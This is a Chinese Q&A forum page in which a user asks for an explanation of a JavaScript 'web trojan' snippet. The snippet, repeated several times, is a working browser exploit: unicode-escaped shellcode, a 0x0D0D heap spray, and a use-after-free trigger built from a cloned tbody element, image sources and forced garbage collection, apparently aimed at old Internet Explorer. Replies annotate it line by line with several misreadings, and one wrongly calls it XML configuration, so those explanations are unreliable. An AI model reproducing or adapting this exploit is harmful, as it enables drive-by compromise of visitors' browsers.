求教一段代码 150
最近学习JAVAScript的时候,发现Escope(),Unescope()函数非常有趣,,可对下面的一段网马代码就无法翻译了,,,在下真诚求教!!若能为我详细翻译者,...
最近学习JAVAScript的时候,发现Escope(),Unescope()函数非常有趣,,可对下面的一段网马代码就无法翻译了,,,在下真诚求教!!
若能为我详细翻译者,某将不胜感激!!!
————————
var shellcode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var array = new Array();
var ls = 0x100000-(shellcode.length*2+0x01020);
var b = unescape("%u0D0D%u0D0D");
while(b.length<ls) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;
for(i=0; i<0xD0; i++) {
array = lh + shellcode;
}
CollectGarbage();
var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img"));
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;
</script> 展开
若能为我详细翻译者,某将不胜感激!!!
————————
var shellcode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var array = new Array();
var ls = 0x100000-(shellcode.length*2+0x01020);
var b = unescape("%u0D0D%u0D0D");
while(b.length<ls) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;
for(i=0; i<0xD0; i++) {
array = lh + shellcode;
}
CollectGarbage();
var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img"));
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;
</script> 展开
展开全部
var shellcode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); //解析了一下这个字符串,获得一堆字
var array = new Array(); //定义数组
var ls = 0x100000-(shellcode.length*2+0x01020); //不好意思,这里我也没看懂,大概意思是定义了一个int型的属性
var b = unescape("%u0D0D%u0D0D"); //定义了一个b字符串
while(b.length<ls) { b+=b;} //当b的长度小于上面的ls时,b自加
var lh = b.substring(0,ls/2); //定义lh为b的截串,长度为1/2的ls
delete b; //删除临时变量b
for(i=0; i<0xD0; i++) {
array = lh + shellcode; //用shellcode字符串+lh产生新的数组
}
CollectGarbage(); //垃圾回收
var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img")); //建立一个img图表
o1=document.createElement("tbody"); //建立一个tbody元素
o1.click; //点击这个元素
var o2 = o1.cloneNode(); //克隆这个节点
o1.clearAttributes(); //清理原o1节点
o1=null; CollectGarbage(); //垃圾回收
for(var x=0;x<a1.length;x++) a1[x].src=s1; //剩下的都不知道是在哪定义的了.无法猜测
o2.click;
</script>
var array = new Array(); //定义数组
var ls = 0x100000-(shellcode.length*2+0x01020); //不好意思,这里我也没看懂,大概意思是定义了一个int型的属性
var b = unescape("%u0D0D%u0D0D"); //定义了一个b字符串
while(b.length<ls) { b+=b;} //当b的长度小于上面的ls时,b自加
var lh = b.substring(0,ls/2); //定义lh为b的截串,长度为1/2的ls
delete b; //删除临时变量b
for(i=0; i<0xD0; i++) {
array = lh + shellcode; //用shellcode字符串+lh产生新的数组
}
CollectGarbage(); //垃圾回收
var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img")); //建立一个img图表
o1=document.createElement("tbody"); //建立一个tbody元素
o1.click; //点击这个元素
var o2 = o1.cloneNode(); //克隆这个节点
o1.clearAttributes(); //清理原o1节点
o1=null; CollectGarbage(); //垃圾回收
for(var x=0;x<a1.length;x++) a1[x].src=s1; //剩下的都不知道是在哪定义的了.无法猜测
o2.click;
</script>
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
AiPPT
2024-09-19 广告
2024-09-19 广告
随着AI技术的飞速发展,如今市面上涌现了许多实用易操作的AI生成工具1、简介:AiPPT: 这款AI工具智能理解用户输入的主题,提供“AI智能生成”和“导入本地大纲”的选项,生成的PPT内容丰富多样,可自由编辑和添加元素,图表类型包括柱状图...
点击进入详情页
本回答由AiPPT提供
展开全部
var shellcode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
这段代码是经过二进制转换的,你当然会看不懂啦!
一般来说这种代码疑似网页木马!
这段代码是经过二进制转换的,你当然会看不懂啦!
一般来说这种代码疑似网页木马!
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
这是
一段XML信息,大概是一种软件的运行环境,配置参数等
一段XML信息,大概是一种软件的运行环境,配置参数等
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
不懂,占个座等待高人现身
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询